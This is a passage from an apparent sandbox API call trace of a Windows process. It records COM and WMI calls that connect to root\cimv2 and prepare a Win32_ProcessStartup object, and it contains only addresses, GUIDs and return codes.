riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1169b00) returned 0x0 [0057.143] WbemDefPath:IUnknown:AddRef (This=0x1169b00) returned 0x3 [0057.143] WbemDefPath:IUnknown:Release (This=0x1169b00) returned 0x2 [0057.143] WbemDefPath:IWbemPath:SetText (This=0x1169b00, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0057.143] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169b00, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0057.143] WbemDefPath:IWbemPath:GetText (in: This=0x1169b00, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0057.143] WbemDefPath:IWbemPath:GetText (in: This=0x1169b00, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0057.143] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0057.143] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0057.143] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0057.143] IUnknown:Release (This=0x111f638) returned 0x1 [0057.144] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x11c9300) returned 0x0 [0057.144] WbemLocator:IUnknown:QueryInterface (in: This=0x11c9300, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0057.144] WbemLocator:IClassFactory:CreateInstance (in: This=0x11c9300, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x11c9320) returned 0x0 [0057.144] WbemLocator:IUnknown:Release (This=0x11c9300) returned 0x0 [0057.144] WbemLocator:IUnknown:QueryInterface (in: This=0x11c9320, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x11c9320) returned 0x0 [0057.144] WbemLocator:IUnknown:QueryInterface (in: This=0x11c9320, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0057.145] WbemLocator:IUnknown:AddRef (This=0x11c9320) returned 0x3 [0057.145] WbemLocator:IUnknown:QueryInterface (in: This=0x11c9320, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0057.145] WbemLocator:IUnknown:QueryInterface (in: This=0x11c9320, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0057.145] WbemLocator:IUnknown:QueryInterface (in: This=0x11c9320, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0057.145] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0057.145] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0057.145] WbemLocator:IUnknown:QueryInterface (in: This=0x11c9320, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0057.145] WbemLocator:IUnknown:Release (This=0x11c9320) returned 0x2 [0057.145] WbemLocator:IUnknown:Release (This=0x11c9320) returned 0x1 [0057.145] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0057.145] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0057.145] WbemLocator:IUnknown:QueryInterface (in: This=0x11c9320, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x11c9320) returned 0x0 [0057.145] WbemLocator:IUnknown:AddRef (This=0x11c9320) returned 0x3 [0057.145] WbemLocator:IUnknown:Release (This=0x11c9320) returned 0x2 [0057.145] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169b00, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0057.145] WbemDefPath:IWbemPath:GetText (in: This=0x1169b00, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0057.145] WbemDefPath:IWbemPath:GetText (in: This=0x1169b00, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0057.145] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x11c9340) returned 0x0 [0057.146] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11c9340, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x11c7440) returned 0x0 [0057.307] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7440, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11c9ad0) returned 0x0 [0057.307] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11c9ad0, pProxy=0x11c7440, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0057.307] WbemLocator:IUnknown:Release (This=0x11c9ad0) returned 0x1 [0057.307] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7440, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11c9b10) returned 0x0 [0057.307] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7440, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11c9ad0) returned 0x0 [0057.307] WbemLocator:IClientSecurity:SetBlanket (This=0x11c9ad0, pProxy=0x11c7440, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0057.308] WbemLocator:IUnknown:Release (This=0x11c9ad0) returned 0x2 [0057.308] WbemLocator:IUnknown:Release (This=0x11c9b10) returned 0x1 [0057.308] CoTaskMemFree (pv=0x11b1810) [0057.308] WbemLocator:IUnknown:AddRef (This=0x11c7440) returned 0x2 [0057.308] WbemLocator:IUnknown:Release (This=0x11c9340) returned 0x0 [0057.308] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0057.308] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0057.308] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7440, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11c9ae0) returned 0x0 [0057.308] WbemLocator:IRpcOptions:Query (in: This=0x11c9ae0, pPrx=0x11c93a0, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0057.308] WbemLocator:IUnknown:Release (This=0x11c9ae0) returned 0x2 [0057.309] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0057.309] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0057.309] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7440, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x11c7440) returned 0x0 [0057.309] WbemLocator:IUnknown:Release (This=0x11c7440) returned 0x2 [0057.309] SysStringLen (param_1=0x0) returned 0x0 [0057.309] WbemDefPath:IWbemPath:GetText (in: This=0x1169a40, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0057.309] WbemDefPath:IWbemPath:GetText (in: This=0x1169a40, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0057.309] IWbemServices:GetObject (in: This=0x11c7440, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x11ca7b0, ppCallResult=0x0) returned 0x0 [0057.311] IWbemClassObject:Get (in: This=0x11ca7b0, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0057.311] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0057.311] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0057.311] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0057.311] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0057.311] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0057.311] IUnknown:Release (This=0x111f638) returned 0x1 [0057.313] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x11c9340) returned 0x0 [0057.313] WbemDefPath:IUnknown:QueryInterface (in: This=0x11c9340, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0057.313] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11c9340, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1169bc0) returned 0x0 [0057.314] WbemDefPath:IUnknown:Release (This=0x11c9340) returned 0x0 [0057.314] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169bc0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1169bc0) returned 0x0 [0057.314] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169bc0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0057.314] WbemDefPath:IUnknown:AddRef (This=0x1169bc0) returned 0x3 [0057.314] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169bc0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0057.314] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169bc0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0057.314] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169bc0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x11c9360) returned 0x0 [0057.314] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11c9360, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0057.314] WbemDefPath:IUnknown:Release (This=0x11c9360) returned 0x3 [0057.314] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0057.314] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0057.314] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169bc0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0057.314] WbemDefPath:IUnknown:Release (This=0x1169bc0) returned 0x2 [0057.314] WbemDefPath:IUnknown:Release (This=0x1169bc0) returned 0x1 [0057.314] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0057.315] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0057.315] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169bc0, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1169bc0) returned 0x0 [0057.315] WbemDefPath:IUnknown:AddRef (This=0x1169bc0) returned 0x3 [0057.315] WbemDefPath:IUnknown:Release (This=0x1169bc0) returned 0x2 [0057.315] WbemDefPath:IWbemPath:SetText (This=0x1169bc0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0057.315] IWbemClassObject:Get (in: This=0x11ca7b0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29cc1f8*=0, plFlavor=0x29cc1fc*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29cc1f8*=19, plFlavor=0x29cc1fc*=0) returned 0x0 [0057.315] IWbemClassObject:Get (in: This=0x11ca7b0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29cc1f8*=19, plFlavor=0x29cc1fc*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29cc1f8*=19, plFlavor=0x29cc1fc*=0) returned 0x0 [0057.315] IWbemClassObject:Put (This=0x11ca7b0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0057.316] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169980, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0057.316] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0057.316] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0057.316] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0057.316] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0057.316] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0057.316] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0057.316] IUnknown:Release (This=0x111f638) returned 0x1 [0057.317] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x11c9500) returned 0x0 [0057.318] WbemDefPath:IUnknown:QueryInterface (in: This=0x11c9500, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0057.318] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11c9500, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1169c80) returned 0x0 [0057.318] WbemDefPath:IUnknown:Release (This=0x11c9500) returned 0x0 [0057.318] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169c80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1169c80) returned 0x0 [0057.318] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169c80, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0057.318] WbemDefPath:IUnknown:AddRef (This=0x1169c80) returned 0x3 [0057.318] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169c80, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0057.318] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169c80, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0057.318] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169c80, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x11c9540) returned 0x0 [0057.318] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11c9540, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0057.318] WbemDefPath:IUnknown:Release (This=0x11c9540) returned 0x3 [0057.318] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0057.319] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0057.319] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169c80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: 